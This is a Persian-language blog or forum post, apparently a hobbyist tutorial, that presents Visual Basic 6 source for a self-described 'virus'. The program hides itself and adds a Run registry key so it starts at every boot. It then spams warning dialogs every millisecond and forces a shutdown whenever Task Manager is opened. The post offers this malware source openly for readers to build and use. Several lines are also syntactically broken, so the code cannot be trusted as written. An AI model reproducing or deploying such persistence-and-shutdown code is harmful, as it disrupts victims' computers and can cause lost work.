ویروس: من اینجام.اگه میتونی منو بگیر !! | ویروس

دوستان این که یه ویروس ردی از خودش باقی نذاره خیلی مهمه ولی گاهی اوقات آدم دلش میخواد به دلایلی یه نام ونشونی از خودش بذاره که دلایل مختلفی داره .از جمله این که به یارو بفهمونه منم ویروس بلدم بنویسم!!!(این کار بخصوص نزد تازه کارها از جمله خودم رواج بیشتری داره)

ویروس این دفعه بصورتیه که یه اخطار میاد بالا به کاربر میگه فلان کار رو نکن و اگه کاربر این کار رو کرد خب مام میفتیم به جونش دیگه

وسایل لازم: فقط یه تایمر

کدها:

Private Sub Form_Load()
App.TaskVisible = False
timer1.interval=1

Me.Hide

Set Reg = CreateObject("wscript.shell"
Reg.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWSCURRENTVERSIONRUN" & App.EXEName, App.Path & "" & App.EXEName & ".exe"
Timer1.Interval = 1
End Sub

Private Sub Timer1_Timer()
  MsgBox "Dont press  alt+ctrl+del", vbCritical, "This is not a virus !!"

Dim handel As Long
handel = FindWindow(vbNullString, "Windows Task Manager"
If handel <> 0 Then
Shell "shutdown -s -t 2 "
End Sub

و اما توضیحات:

خیلی ساده . این ویروس ابتدا اخطار میده که Windows Task Manager رو اجرا نکنین و اگه شما این کار رو کردین تابع Shell "shutdown  رو اجرا میکنه